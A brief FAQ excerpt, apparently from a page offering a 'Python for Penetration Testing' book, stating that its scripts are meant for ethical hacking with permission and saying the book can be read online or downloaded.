Yes, all scripts and tools are intended for **ethical hacking and educational purposes only**. Users should always have proper permission before testing any network or system.
Where can I download or read the Python for Penetration Testing book?
You can access the book online or download it from here. All examples, scripts, and links are fully functional.